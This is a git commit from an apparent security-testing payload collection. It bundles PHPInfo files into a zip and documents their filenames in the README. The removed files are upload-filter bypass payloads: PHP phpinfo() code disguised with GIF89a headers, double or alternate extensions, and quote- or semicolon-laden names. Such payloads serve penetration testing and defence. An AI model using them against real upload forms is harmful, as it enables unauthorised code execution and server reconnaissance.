Zipped PHPInfo files

2025-04-30 02:36:27 -04:00 · 2022-06-23 19:44:08 -03:00 · 2022-06-23 19:44:08 -03:00 · 9be91ecd4e
commit 9be91ecd4e
parent c8bc8eb242
29 changed files with 36 additions and 39 deletions
--- a/Payloads/PHPInfo.zip
+++ b/Payloads/PHPInfo.zip
--- a/Payloads/PHPInfo/make-aio.sh
+++ b/Payloads/PHPInfo/make-aio.sh
@ -1,5 +0,0 @@
-#!/bin/sh
-zip phpinfo-aio.zip phpinfo*.{p*,txt,jp*g,gif}
-
-tar -cvf phpinfo-aio.tar phpinfo*.{p*,txt,jp*g,gif}
-
--- a/Payloads/PHPInfo/phpinfo-aio.tar
+++ b/Payloads/PHPInfo/phpinfo-aio.tar
--- a/Payloads/PHPInfo/phpinfo-aio.zip
+++ b/Payloads/PHPInfo/phpinfo-aio.zip
--- a/Payloads/PHPInfo/phpinfo-metadata.gif
+++ b/Payloads/PHPInfo/phpinfo-metadata.gif
--- a/Payloads/PHPInfo/phpinfo-metadata.jpg
+++ b/Payloads/PHPInfo/phpinfo-metadata.jpg
--- a/Payloads/PHPInfo/phpinfo-shortsyntax.php
+++ b/Payloads/PHPInfo/phpinfo-shortsyntax.php
@ -1,3 +0,0 @@
-//tested on 7.2
-// even with short_open_tag=0
-<?=phpinfo()?>
--- a/Payloads/PHPInfo/phpinfo.""gif
+++ b/Payloads/PHPInfo/phpinfo.""gif
@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo."gif
+++ b/Payloads/PHPInfo/phpinfo."gif
@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.''gif
+++ b/Payloads/PHPInfo/phpinfo.''gif
@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.'gif
+++ b/Payloads/PHPInfo/phpinfo.'gif
@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.jpg.php
+++ b/Payloads/PHPInfo/phpinfo.jpg.php
@ -1 +0,0 @@
-<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.php
+++ b/Payloads/PHPInfo/phpinfo.php
@ -1 +0,0 @@
-<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.php-1.gif
+++ b/Payloads/PHPInfo/phpinfo.php-1.gif
@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.php-2.gif
+++ b/Payloads/PHPInfo/phpinfo.php-2.gif
@ -1 +0,0 @@
-GIF89a1
<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.php.""gif
+++ b/Payloads/PHPInfo/phpinfo.php.""gif
@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.php."gif
+++ b/Payloads/PHPInfo/phpinfo.php."gif
@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.php.''gif
+++ b/Payloads/PHPInfo/phpinfo.php.''gif
@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.php.'gif
+++ b/Payloads/PHPInfo/phpinfo.php.'gif
@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.php3
+++ b/Payloads/PHPInfo/phpinfo.php3
@ -1 +0,0 @@
-<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.php4
+++ b/Payloads/PHPInfo/phpinfo.php4
@ -1 +0,0 @@
-<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.php5
+++ b/Payloads/PHPInfo/phpinfo.php5
@ -1 +0,0 @@
-<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.php7
+++ b/Payloads/PHPInfo/phpinfo.php7
@ -1 +0,0 @@
-<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.php;.txt
+++ b/Payloads/PHPInfo/phpinfo.php;.txt
@ -1 +0,0 @@
-<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.phpt
+++ b/Payloads/PHPInfo/phpinfo.phpt
@ -1 +0,0 @@
-<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.pht
+++ b/Payloads/PHPInfo/phpinfo.pht
@ -1 +0,0 @@
-<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.phtml
+++ b/Payloads/PHPInfo/phpinfo.phtml
@ -1 +0,0 @@
-<?php phpinfo(); ?>
--- a/Payloads/PHPInfo/phpinfo.txt
+++ b/Payloads/PHPInfo/phpinfo.txt
@ -1 +0,0 @@
-<?php phpinfo(); ?>
--- a/Payloads/README.md
+++ b/Payloads/README.md
@ -44,4 +44,39 @@ IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvali

 ## POC_img_phpinfo File

-Outlined here: https://www.secgeek.net/bookfresh-vulnerability/
+Outlined here: https://www.secgeek.net/bookfresh-vulnerability/
+
+
+## PHPInfo.zip
+
+This zip file containes files with filenames for bypassing blacklists and accessing `phpinfo.php`:
+
+- ` make-aio.sh`
+- ` phpinfo-aio.tar`
+- ` phpinfo-aio.zip`
+- `'phpinfo.""gif'`
+- `'phpinfo."gif'`
+- `"phpinfo.''gif"`
+- `"phpinfo.'gif"`
+- ` phpinfo.jpg.php`
+- ` phpinfo-metadata.gif`
+- ` phpinfo-metadata.jpg`
+- ` phpinfo.php`
+- ` phpinfo.php-1.gif`
+- ` phpinfo.php-2.gif`
+- ` phpinfo.php3`
+- ` phpinfo.php4`
+- ` phpinfo.php5`
+- ` phpinfo.php7`
+- `'phpinfo.php.""gif'`
+- `'phpinfo.php."gif'`
+- `"phpinfo.php.''gif"`
+- `"phpinfo.php.'gif"`
+- ` phpinfo.phpt`
+- `'phpinfo.php;.txt'`
+- ` phpinfo.pht`
+- ` phpinfo.phtml`
+- ` phpinfo-shortsyntax.php`
+- ` phpinfo.txt`
+
+It's impossible to unzip this file on Windows, due to their arbitrary filename restrictions. It's possible to unzip it in WSL though.